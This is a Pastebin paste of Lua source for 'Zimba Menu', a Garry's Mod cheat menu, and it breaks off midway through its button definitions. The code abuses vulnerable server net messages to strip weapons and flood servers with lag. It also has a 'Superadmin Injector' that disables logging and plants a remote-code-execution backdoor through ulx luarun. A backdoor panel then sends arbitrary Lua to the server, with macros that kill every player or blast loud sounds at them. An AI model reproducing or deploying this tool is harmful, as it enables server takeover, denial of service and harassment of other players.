Advertisement
Guest User

Zimba Menu

a guest
Nov 28th, 2017
3,965
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 53.08 KB | None | 0 0
  1. /*====================================================================================
  2. ──────────────────────────────────────────────────────────────────────────────────────
  3. ─██████████████████─██████████─██████──────────██████─██████████████───██████████████─
  4. ─██░░░░░░░░░░░░░░██─██░░░░░░██─██░░██████████████░░██─██░░░░░░░░░░██───██░░░░░░░░░░██─
  5. ─████████████░░░░██─████░░████─██░░░░░░░░░░░░░░░░░░██─██░░██████░░██───██░░██████░░██─
  6. ─────────████░░████───██░░██───██░░██████░░██████░░██─██░░██──██░░██───██░░██──██░░██─
  7. ───────████░░████─────██░░██───██░░██──██░░██──██░░██─██░░██████░░████─██░░██████░░██─
  8. ─────████░░████───────██░░██───██░░██──██░░██──██░░██─██░░░░░░░░░░░░██─██░░░░░░░░░░██─
  9. ───████░░████─────────██░░██───██░░██──██████──██░░██─██░░████████░░██─██░░██████░░██─
  10. ─████░░████───────────██░░██───██░░██──────────██░░██─██░░██────██░░██─██░░██──██░░██─
  11. ─██░░░░████████████─████░░████─██░░██──────────██░░██─██░░████████░░██─██░░██──██░░██─
  12. ─██░░░░░░░░░░░░░░██─██░░░░░░██─██░░██──────────██░░██─██░░░░░░░░░░░░██─██░░██──██░░██─
  13. ─██████████████████─██████████─██████──────────██████─████████████████─██████──██████─
  14. ──────────────────────────────────────────────────────────────────────────────────────
  15. ====================================================================================*/
  16.  
  17. ------------------------------
  18. --       FUNCTIONS          --
  19. ------------------------------
  20. Version = "v1.0"
  21. netKey = "memeDoor"
  22.  
  23. totalExploits = 0
  24. BackdoorsFound = 0
  25.  
  26. local ply = LocalPlayer()
  27.  
  28.  
  29. local blur = Material("pp/blurscreen")
  30.     local function DrawBlur(panel, amount) --Panel blur function
  31.     local x, y = panel:LocalToScreen(0, 0)
  32.     local scrW, scrH = ScrW(), ScrH()
  33.         surface.SetDrawColor(255, 255, 255)
  34.         surface.SetMaterial(blur)
  35.     for i = 1, 6 do
  36.         blur:SetFloat("$blur", (i / 3) * (amount or 6))
  37.         blur:Recompute()
  38.         render.UpdateScreenEffectTexture()
  39.         surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
  40.     end
  41. end
  42.  
  43. function ValidNetString( str )
  44.     local status, error = pcall( net.Start, str )
  45.     return status
  46. end
  47.  
  48. local function playSound(url)
  49.     sound.PlayURL(url, '', function( station )
  50.         if ( IsValid( station ) ) then
  51.         station:SetPos( LocalPlayer():GetPos() )
  52.         station:Play()
  53.         end
  54.     end)
  55. end
  56.  
  57. hook.Add("Think", "RAINBOWPLAYER", function()
  58. local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  59.     LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
  60.     LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
  61. end)
  62.  
  63. function HtxPooledString()
  64.         if IsMessagePooled( netKey ) then return "Detected!"
  65.         else return "Not Detected!"
  66.     end
  67. end
  68.  
  69.  
  70. function IsMessagePooled( netmessage )
  71.     BackdoorStatus, error = pcall(net.Start,netmessage)
  72.     return BackdoorStatus
  73. end
  74.  
  75. local SW = {}
  76. SW.Enabled = false
  77. SW.ViewOrigin = Vector( 0, 0, 0 )
  78. SW.ViewAngle = Angle( 0, 0, 0 )
  79. SW.Velocity = Vector( 0, 0, 0 )
  80.  
  81. function SW.CalcView( ply, origin, angles, fov )
  82.     if ( !SW.Enabled ) then return end
  83.         if ( SW.SetView ) then
  84.         SW.ViewOrigin = origin
  85.         SW.ViewAngle = angles
  86.         SW.SetView = false
  87.         end
  88.     return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
  89. end
  90. hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
  91.  
  92. function SW.CreateMove( cmd )
  93.     if ( !SW.Enabled ) then return end
  94.            
  95.     local time = FrameTime()
  96.     SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
  97.     SW.Velocity = SW.Velocity * 0.95
  98.  
  99.     local sensitivity = 0.022
  100.     SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
  101.     SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
  102.            
  103.  
  104.     local add = Vector( 0, 0, 0 )
  105.     local ang = SW.ViewAngle
  106.     if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
  107.     if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
  108.     if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
  109.     if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
  110.     if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
  111.     if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
  112.     add = add:GetNormal() * time * 3000
  113.     if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
  114.            
  115.     SW.Velocity = SW.Velocity + add
  116.     if ( SW.LockView == true ) then
  117.       SW.LockView = cmd:GetViewAngles()
  118.     end
  119.     if ( SW.LockView ) then
  120.         cmd:SetViewAngles( SW.LockView )
  121.     end
  122.     cmd:SetForwardMove( 0 )
  123.     cmd:SetSideMove( 0 )
  124.     cmd:SetUpMove( 0 )
  125. end
  126.  
  127.  
  128. hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
  129.     function SW.Toggle()
  130.     SW.Enabled = !SW.Enabled
  131.     SW.LockView = SW.Enabled
  132.     SW.SetView = true
  133.            
  134.     local status = { [ true ] = "ON", [ false ] = "OFF" }
  135.     SploitNotify("Noclip: " .. status[ SW.Enabled ])
  136. end
  137. concommand.Add( "zimba_toggle_noclip", SW.Toggle )
  138.  
  139.  
  140.  
  141. -- Exploit Other Shit
  142.  
  143. if( ValidNetString("start_wd_emp") ) then
  144.     totalExploits = 1 + totalExploits
  145. end
  146.  
  147. if( ValidNetString("properties") ) then
  148.     totalExploits = 1 + totalExploits
  149. end
  150.  
  151. if( ValidNetString("egg") ) then
  152.     totalExploits = 1 + totalExploits
  153. end
  154.  
  155. if( ValidNetString("steamid2") ) then
  156.     totalExploits = 1 + totalExploits
  157. end
  158.  
  159. if( ValidNetString("bodyman_model_change") ) then
  160.     totalExploits = 1 + totalExploits
  161. end
  162. ------------------------------
  163. --    EXPLOIT FUNCTIONS     --
  164. ------------------------------
  165.  
  166.  
  167. function SploitNotify(text)
  168.     local notify = vgui.Create( "DPanel" )
  169.     notify:SetSize( 200, 50 )
  170.     notify:SetPos( ScrW() - 200, -50 )
  171.     notify.Paint = function(self, w, h)
  172.     draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  173.     draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  174.     draw.SimpleText( text, "Title", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  175.     end
  176.     notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  177.     timer.Simple( 3, function()
  178.     notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  179. end);end) end
  180.  
  181.  
  182. -- Exploit 1
  183. function removeAll() -- Strips all Players
  184.     for k,v in pairs(player.GetAll()) do
  185.         stripPlayer(v)
  186.     end
  187. end
  188.  
  189. function stripPlayer(ply) -- Strip player function
  190.     if ply:IsPlayer() then
  191.         for k,v in pairs(ply:GetWeapons()) do
  192.             net.Start("properties")
  193.             net.WriteString( "remove" , 32 )
  194.             net.WriteEntity( v )
  195.             net.SendToServer()
  196.         end
  197.     end
  198. end
  199.  
  200. -- Exploit 2
  201. function HackKeypad()
  202.     net.Start('start_wd_emp')
  203.     net.SendToServer()
  204. end
  205.  
  206. -- Exploit 3
  207.  
  208. function GiveEasterEgg1()
  209.     net.Start("egg")
  210.     net.SendToServer()
  211.     SploitNotify("Gave Easter Egg")
  212.  
  213. end
  214.  
  215. -- Exploit 4
  216.  
  217. function Lagger1()
  218.     timer.Create( "lagger9", 0, 0, function()
  219.         for i = 1, 100 do
  220.         net.Start( "steamid2" )
  221.         net.WriteString( "Zimba Hack Menu" )
  222.         net.SendToServer()
  223.         end
  224.     end)
  225. end
  226.  
  227.  
  228. -- Exploit 5
  229.  
  230. local PM = 1
  231. local SK = 1
  232. local BG = 1
  233. local HN = 1
  234. local TS = 1
  235. local GL = 1
  236. local LG = 1
  237.  
  238. function BodyGroups()
  239.     PlayerModels = {0,1,2,3,4,5,6}
  240.     Torso = {0,1,2,3,4,5,6,7,8,9,10}
  241.     Legs = {0,1,2,3,4,5,6}
  242.     Hands = {0,1,2}
  243.     Glasses = {0,1}
  244.     Skins = {0,1,2,3,4,5,6,7,8,9,10}
  245.     PM = PM+1
  246.     TS = TS+1
  247.     LG = LG+1  
  248.     HN = HN+1
  249.     GL = GL+1
  250.     SK = SK+1
  251.     if (PM>#PlayerModels) then PM=1 end
  252.     if (SK>#Skins) then SK=1 end
  253.     if (HN>#Hands) then HN=1 end
  254.     if (TS>#Torso) then TS=1 end
  255.     if (GL>#Glasses) then GL=1 end
  256.     if (LG>#Legs) then LG=1 end
  257.     net.Start("bodyman_model_change")
  258.       net.WriteInt(PlayerModels[PM], 10 )
  259.       net.SendToServer()
  260.     net.Start("bodygroups_change")
  261.       net.WriteTable( { 1, Torso[TS] } )
  262.       net.SendToServer()
  263.     net.Start("bodygroups_change")
  264.       net.WriteTable( { 2, Legs[LG] } )
  265.       net.SendToServer()
  266.     net.Start("bodygroups_change")
  267.       net.WriteTable( { 3, Hands[HN] } )
  268.       net.SendToServer()
  269.     net.Start("bodygroups_change")
  270.       net.WriteTable( { 4, Glasses[GL] } )
  271.       net.SendToServer()
  272. end
  273.  
  274.  
  275. local MC = {}
  276. MC.Enabled = false
  277.  
  278. function ChangeModelSpammer()
  279.     if ( MC.Enabled ) then return end
  280.         timer.Create( "modelchanger", 0.3, 0, function()
  281.         BodyGroups()
  282.     end )
  283. end
  284.  
  285. hook.Add("Think","modelchanger",ChangeModelSpammer)
  286.    
  287. function MC.Toggle()
  288.     MC.Enabled = !MC.Enabled
  289.     MC.LockView = MC.Enabled
  290.     MC.SetView = true
  291.  
  292.     local status = { [ true ] = "ON", [ false ] = "OFF" }
  293.     SploitNotify("Model Changer: " .. status[ MC.Enabled ])
  294. end
  295. concommand.Add( "zimba_toggle_model_changer", MC.Toggle )
  296.  
  297.  
  298.  
  299.  
  300. -- Superadmin Injector
  301. function Inject()
  302.     chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Injecting..." )
  303.     if ( ply:IsSuperAdmin() ) then
  304.         timer.Simple( 3, function()
  305.             if( ValidNetString("ZimbaBackDoor") ) then
  306.            
  307.             else
  308.                 RunConsoleCommand( "ulx", "logecho", "0" )
  309.                 RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('ZimbaBackDoor')" )
  310.                 RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('ZimbaBackDoor') net.Receive('ZimbaBackDoor', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" )
  311.                 RunConsoleCommand( "ulx", "logecho", "1" )
  312.                 chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 0, 255, 0 )," Successfully Injected!" )
  313.             end
  314.         end )
  315.     else
  316.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Failed! Your Not Superadmin!" )
  317.     end
  318.     if( ValidNetString("ZimbaBackDoor") ) then
  319.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Backdoor is already in! Fire at will!" )
  320.     end
  321. end
  322.  
  323.  
  324. ------------------------------
  325. --          FONTS           --
  326. ------------------------------
  327.  
  328. surface.CreateFont( "Title", {
  329.         font = "Lato Light",
  330.         size = 30,
  331.         weight = 250,
  332.         antialias = true,
  333.         strikeout = false,
  334.         additive = true,
  335. } )
  336.  
  337. surface.CreateFont( "Status", {
  338.         font = "Lato Light",
  339.         size = 25,
  340.         weight = 250,
  341.         antiaalias = true,
  342.         strikeout = false,
  343.         additive = true,
  344. } )
  345.  
  346. surface.CreateFont( "Welcome", {
  347.         font = "Lato Light",
  348.         size = 25,
  349.         weight = 10,
  350.         antiaalias = true,
  351.         strikeout = false,
  352.         additive = true,
  353. } )
  354.  
  355. surface.CreateFont( "ESP", {
  356.         font = "Lato Light",
  357.         size = 15,
  358.         weight = 250,
  359.         antialias = true,
  360.         strikeout = false,
  361.         additive = true,
  362. } )
  363. ------------------------------
  364. --     ZIMBA MENU DERMA     --
  365. ------------------------------
  366.  
  367.  
  368. local Zimba = vgui.Create( "DFrame" )
  369. Zimba:SetSize( 630, 450 )
  370. Zimba:SetVisible( true )
  371. Zimba:SetDraggable( false )
  372. Zimba:ShowCloseButton( false )
  373. Zimba:Center()
  374. Zimba:SetTitle("")
  375. Zimba:MakePopup()
  376. Zimba.Paint = function( self, w, h )
  377.     DrawBlur(Zimba, 2)
  378.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  379.     draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  380.     draw.SimpleText( "Zimba Menu", "Title", Zimba:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  381. end
  382.  
  383.  
  384. local ZimbaCategories = vgui.Create( "DFrame", LOL )
  385. ZimbaCategories:SetSize( 150, 450 )
  386. ZimbaCategories:SetVisible( true )
  387. ZimbaCategories:SetDraggable( false )
  388. ZimbaCategories:ShowCloseButton( false )
  389. ZimbaCategories:SetPos( 465, 315)
  390. ZimbaCategories:SetTitle("")
  391. ZimbaCategories:MakePopup()
  392. ZimbaCategories.Paint = function( self, w, h )
  393.     DrawBlur(ZimbaCategories, 2)
  394.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  395.     draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  396.     draw.SimpleText( "Catagories", "Title", ZimbaCategories:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  397. end
  398.  
  399. local ZimbaClose = vgui.Create( "DButton", Zimba )
  400. ZimbaClose:SetSize( 35, 35 )
  401. ZimbaClose:SetPos( Zimba:GetWide() - 36,9 )
  402. ZimbaClose:SetText( "X" )
  403. ZimbaClose:SetFont( "Default" )
  404. ZimbaClose:SetTextColor( Color( 255, 255, 255 ) )
  405. ZimbaClose.Paint = function()
  406.        
  407. end
  408. ZimbaClose.DoClick = function()
  409.     CloseEverything()
  410. end
  411.  
  412.  
  413. -- Version Derma / Checker Name / Welcome Message
  414.  
  415. local WelcomeLabel = vgui.Create( "DLabel", Zimba )
  416. WelcomeLabel:SetPos( 100, 100 )
  417. WelcomeLabel:SetFont("Welcome")
  418. WelcomeLabel:SetText( "Hello,  "..ply:GetName().."\nThank you for using Zimba Hack Menu! We will be \nUpdating our hack so click the 'Check Version' Button to see \n if you have the right version :)")
  419. WelcomeLabel:SizeToContents()
  420.  
  421. local TotalExploits = vgui.Create( "DLabel", Zimba )
  422. TotalExploits:SetPos( 230, 425 )
  423. TotalExploits:SetText( "Total Exploits: "..totalExploits.." |" )
  424. TotalExploits:SizeToContents()
  425.  
  426. local BackdoorStatus = vgui.Create( "DLabel", Zimba )
  427. BackdoorStatus:SetPos( 320, 425 )
  428. BackdoorStatus:SetText( "Backdoor: "..HtxPooledString() )
  429. BackdoorStatus:SizeToContents()
  430. --
  431. if IsMessagePooled( netKey ) then BackdoorStatus:SetTextColor( Color(0,255,0) ) else BackdoorStatus:SetTextColor( Color(255,0,0) ) end
  432. --
  433.  
  434.  
  435. local VersionLabel = vgui.Create( "DLabel", Zimba )
  436. VersionLabel:SetPos( 550, 425 )
  437. VersionLabel:SetText( "Version: "..Version )
  438.  
  439. local NameLabel = vgui.Create( "DLabel", Zimba )
  440. NameLabel:SetPos( 10, 425 )
  441. NameLabel:SetText( "Hello, "..ply:GetName().."!" )
  442. NameLabel:SizeToContents()
  443.  
  444. -- Check Version Button
  445.  
  446.  
  447. local Checkversion = vgui.Create( "DButton", Zimba )
  448. Checkversion:SetText( "Check Version" )
  449. Checkversion:SizeToContents()
  450. Checkversion:SetTall( 25 )
  451. Checkversion:SetWide( 100 )
  452. Checkversion:SetPos( 250, 275 )
  453. Checkversion:SetTextColor( Color( 255, 255, 255 ) )
  454. Checkversion:SetToolTip( "Checks the hack Client Version." )
  455. Checkversion.Paint = function( self, w, h )
  456.     DrawBlur(Checkversion, 2)
  457.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  458. Checkversion.DoClick = function()
  459.     if ( Version == "v1.0") then
  460.             chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 0, 255, 0 )," Version is up to date!" )
  461.     else
  462.             chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Out of date!" )
  463.     end
  464.     end
  465. end
  466.  
  467. -- Check Backdoors Button
  468.  
  469. local BackdoorScanner = vgui.Create( "DButton", Zimba )
  470. BackdoorScanner:SetText( "Backdoor Scanner" )
  471. BackdoorScanner:SizeToContents()
  472. BackdoorScanner:SetTall( 25 )
  473. BackdoorScanner:SetWide( 100 )
  474. BackdoorScanner:SetPos( 185, 315 )
  475. BackdoorScanner:SetTextColor( Color( 255, 255, 255 ) )
  476. BackdoorScanner:SetToolTip( "Checks the hack Client Version." )
  477. BackdoorScanner.Paint = function( self, w, h )
  478.     DrawBlur(BackdoorScanner, 2)
  479.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  480. BackdoorScanner.DoClick = function()
  481.     SploitNotify("Scanning...")
  482.     surface.PlaySound("buttons/blip1.wav")
  483.     checkbackdoors()
  484.  
  485.     end
  486. end
  487.  
  488. -- Check Injector Button
  489.  
  490. local Injector = vgui.Create( "DButton", Zimba )
  491. Injector:SetText( "Superadmin Injector" )
  492. Injector:SizeToContents()
  493. Injector:SetTall( 25 )
  494. Injector:SetWide( 115 )
  495. Injector:SetPos( 300, 315 )
  496. Injector:SetTextColor( Color( 255, 255, 255 ) )
  497. Injector:SetToolTip( "Checks the hack Client Version." )
  498. Injector.Paint = function( self, w, h )
  499.     DrawBlur(Injector, 2)
  500.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  501. Injector.DoClick = function()
  502.     SploitNotify("Injecting...")
  503.     surface.PlaySound("buttons/blip1.wav")
  504.     Inject()
  505.  
  506.     end
  507. end
  508.  
  509.  
  510.  
  511. ------------------------------
  512. --    ZIMBA MENU BUTTONS    --
  513. ------------------------------
  514. local MainMenuButton = vgui.Create( "DButton", ZimbaCategories )
  515. MainMenuButton:SetText( "Main Menu" )
  516. MainMenuButton:SizeToContents()
  517. MainMenuButton:SetTall( 50 )
  518. MainMenuButton:SetWide( MainMenuButton:GetWide() + 100 )
  519. MainMenuButton:SetPos( 0, 75 )
  520. MainMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  521. MainMenuButton:SetToolTip( "Main Menu" )
  522. MainMenuButton.Paint = function( self, w, h )
  523.     DrawBlur(MainMenuButton, 2)
  524.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  525. MainMenuButton.DoClick = function()
  526.         closealltabs()
  527.         ply:ConCommand( "zimba_menu" )
  528.     end
  529. end
  530.  
  531. local ExploitMenuButton = vgui.Create( "DButton", ZimbaCategories )
  532. ExploitMenuButton:SetText( "Exploit Menu" )
  533. ExploitMenuButton:SizeToContents()
  534. ExploitMenuButton:SetTall( 50 )
  535. ExploitMenuButton:SetWide( ExploitMenuButton:GetWide() + 100 )
  536. ExploitMenuButton:SetPos( 0, 140 )
  537. ExploitMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  538. ExploitMenuButton:SetToolTip( "Exploit Menu" )
  539. ExploitMenuButton.Paint = function( self, w, h )
  540.     DrawBlur(ExploitMenuButton, 2)
  541.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  542. ExploitMenuButton.DoClick = function()
  543.         closealltabs()
  544.         ply:ConCommand( "zimba_exploit_menu" )
  545.     end
  546. end
  547.  
  548. local MiscMenuButton = vgui.Create( "DButton", ZimbaCategories )
  549. MiscMenuButton:SetText( "Misc Menu" )
  550. MiscMenuButton:SizeToContents()
  551. MiscMenuButton:SetTall( 50 )
  552. MiscMenuButton:SetWide( MiscMenuButton:GetWide() + 100 )
  553. MiscMenuButton:SetPos( 0, 205 )
  554. MiscMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  555. MiscMenuButton:SetToolTip( "Misc Menu" )
  556. MiscMenuButton.Paint = function( self, w, h )
  557.     DrawBlur(MiscMenuButton, 2)
  558.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  559. MiscMenuButton.DoClick = function()
  560.         closealltabs()
  561.         ply:ConCommand( "zimba_misc_menu" )
  562.  
  563.     end
  564. end
  565.  
  566. local BackdoorButton = vgui.Create( "DButton", ZimbaCategories )
  567. BackdoorButton:SetText( "Backdoor Menu" )
  568. BackdoorButton:SizeToContents()
  569. BackdoorButton:SetTall( 50 )
  570. BackdoorButton:SetWide( BackdoorButton:GetWide() + 100 )
  571. BackdoorButton:SetPos( 0, 270 )
  572. BackdoorButton:SetTextColor( Color( 255, 255, 255 ) )
  573. BackdoorButton:SetToolTip( "Misc Menu" )
  574. BackdoorButton.Paint = function( self, w, h )
  575.     DrawBlur(BackdoorButton, 2)
  576.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  577. BackdoorButton.DoClick = function()
  578.         closealltabs()
  579.         ply:ConCommand( "zimba_backdoor_menu" )
  580.  
  581.     end
  582. end
  583.  
  584.  
  585. ------------------------------
  586. --      BACKDOOR DERMA      --
  587. ------------------------------
  588.  
  589.  
  590. local BackdoorMenu = vgui.Create( "DFrame" )
  591. BackdoorMenu:SetSize( 630, 450 )
  592. BackdoorMenu:SetVisible( true )
  593. BackdoorMenu:SetDraggable( false )
  594. BackdoorMenu:ShowCloseButton( false )
  595. BackdoorMenu:Center()
  596. BackdoorMenu:SetTitle("")
  597. BackdoorMenu:MakePopup()
  598. BackdoorMenu.Paint = function( self, w, h )
  599.     DrawBlur(BackdoorMenu, 2)
  600.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  601.     draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  602.     draw.SimpleText( "Zimba Backdoor Menu", "Title", BackdoorMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  603.     draw.SimpleText( "Macros", "Title", BackdoorMenu:GetWide() / 2, 225, Color(255,255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  604. end
  605.  
  606.  
  607. local BackdoorMenuClose = vgui.Create( "DButton", BackdoorMenu )
  608. BackdoorMenuClose:SetSize( 35, 35 )
  609. BackdoorMenuClose:SetPos( BackdoorMenu:GetWide() - 36,9 )
  610. BackdoorMenuClose:SetText( "X" )
  611. BackdoorMenuClose:SetFont( "Default" )
  612. BackdoorMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  613. BackdoorMenuClose.Paint = function()
  614.  
  615. end
  616. BackdoorMenuClose.DoClick = function()
  617.     CloseEverything()
  618. end
  619.  
  620.  
  621.  
  622. ------------------------------
  623. --        BACKDOOR          --
  624. ------------------------------
  625.  
  626. local Consolerun = vgui.Create( "DTextEntry", BackdoorMenu )
  627.     Consolerun:SetText( strDefaultText or "" )
  628.     Consolerun:SetPos( 125, 100)
  629.     Consolerun:SetSize( 350, 20 )
  630.     Consolerun.OnEnter = function() Window:Close() Consolerun:GetValue()
  631. end
  632.  
  633.  
  634. local RunCommand = vgui.Create( "DButton", BackdoorMenu )
  635.     RunCommand:SetText( "OK" )
  636.     RunCommand:SetSize( 55, 25 )
  637.     RunCommand:SetPos( 230, 150 )
  638.     RunCommand:SetTextColor( Color( 255, 255, 255 ) )
  639.     RunCommand.DoClick = function()  
  640.         SploitNotify("Sending Command")
  641.         surface.PlaySound("buttons/blip1.wav")
  642.         net.Start( netKey )   net.WriteString( Consolerun:GetValue()  ) net.SendToServer()
  643.  end
  644.  
  645. RunCommand.Paint = function( self, w, h )
  646.     DrawBlur(RunCommand, 2)
  647.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  648. end
  649.  
  650. local Disco = vgui.Create( "DButton", BackdoorMenu )
  651.     Disco:SetText( "Disco" )
  652.     Disco:SetSize( 55, 25 )
  653.     Disco:SetPos( 320, 150 )
  654.     Disco:SetTextColor( Color( 255, 255, 255 ) )
  655.     Disco.DoClick =
  656.         function()  surface.PlaySound("buttons/blip1.wav") net.Start( netKey )   net.WriteString( Consolerun:GetValue()  ) net.SendToServer()
  657.         SploitNotify("Starting Disco")
  658.         local disco = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('http://www.underdone.org/leak/underdone/blue.mp3')  ]]) end"
  659.         net.Start(netKey)
  660.         net.WriteString( disco )
  661.         net.WriteBit(1)
  662.         net.SendToServer()
  663. end
  664. Disco.Paint = function( self, w, h )
  665.     DrawBlur(Disco, 2)
  666.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  667. end
  668.  
  669. local Status = vgui.Create( "DLabel", BackdoorMenu )
  670.     Status:SetText("Status: "..HtxPooledString() )
  671.     Status:SetPos( 380,410 )
  672.     Status:SetFont("Status")
  673.     Status:SizeToContents()
  674.     Status:SetContentAlignment( 5 )
  675.     Status:SetTextColor( Color(255,50,50,255) )
  676.  
  677. --
  678. if IsMessagePooled( netKey ) then Status:SetTextColor( Color(0,255,0) ) else Status:SetTextColor( Color(255,0,0) ) end
  679. --
  680.  
  681. ------------------------------
  682. --     BACKDOOR MACROS      --
  683. ------------------------------
  684.  
  685.  
  686. local KillEveryone = vgui.Create( "DButton", BackdoorMenu )
  687.     KillEveryone:SetText( "Kill Everyone" )
  688.     KillEveryone:SizeToContents()
  689.     KillEveryone:SetTall( 25 )
  690.     KillEveryone:SetWide( KillEveryone:GetWide() + 25 )
  691.     KillEveryone:SetPos( 50, 250 )
  692.     KillEveryone:SetTextColor( Color( 255, 255, 255 ) )
  693.     KillEveryone:SetToolTip( "Kills everyone in the server!" )
  694.     KillEveryone.Paint = function( self, w, h )
  695.         DrawBlur(KillEveryone, 2)
  696.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  697.     KillEveryone.DoClick = function()
  698.         SploitNotify("Killing Everyone")
  699.         surface.PlaySound("garrysmod/ui_click.wav")
  700.         net.Start(netKey)
  701.         net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  702.         net.WriteBit(1)
  703.         net.SendToServer()
  704.     end
  705. end
  706.  
  707. local LaunchEveryone = vgui.Create( "DButton", BackdoorMenu )
  708.     LaunchEveryone:SetText( "Launch Everyone" )
  709.     LaunchEveryone:SizeToContents()
  710.     LaunchEveryone:SetTall( 25 )
  711.     LaunchEveryone:SetWide( LaunchEveryone:GetWide() + 20 )
  712.     LaunchEveryone:SetPos( 160, 250 )
  713.     LaunchEveryone:SetTextColor( Color( 255, 255, 255 ) )
  714.     LaunchEveryone:SetToolTip( "Launches everyone on the server" )
  715.     LaunchEveryone.Paint = function( self, w, h )
  716.         DrawBlur(LaunchEveryone, 2)
  717.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  718.     LaunchEveryone.DoClick = function()
  719.         SploitNotify("Launching Players")
  720.         surface.PlaySound("garrysmod/ui_click.wav")
  721.         net.Start(netKey)
  722.         net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  723.         net.WriteBit(1)
  724.         net.SendToServer()
  725.     end
  726. end
  727.  
  728.  
  729. local EarRape = vgui.Create( "DButton", BackdoorMenu )
  730.     EarRape:SetText( "Ear Rape" )
  731.     EarRape:SizeToContents()
  732.     EarRape:SetTall( 25 )
  733.     EarRape:SetWide( EarRape:GetWide() + 20 )
  734.     EarRape:SetPos( 285, 250 )
  735.     EarRape:SetTextColor( Color( 255, 255, 255 ) )
  736.     EarRape:SetToolTip( "Starts a very loud sound on the server." )
  737.     EarRape.Paint = function( self, w, h )
  738.         DrawBlur(EarRape, 2)
  739.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  740.     EarRape.DoClick = function()
  741.         SploitNotify("Starting Ear Rape")
  742.         surface.PlaySound("garrysmod/ui_click.wav")
  743.         net.Start(netKey)
  744.         net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  745.         net.WriteBit(1)
  746.         net.SendToServer()
  747.     end
  748. end
  749.  
  750.  
  751. local IngiteEveryone = vgui.Create( "DButton", BackdoorMenu )
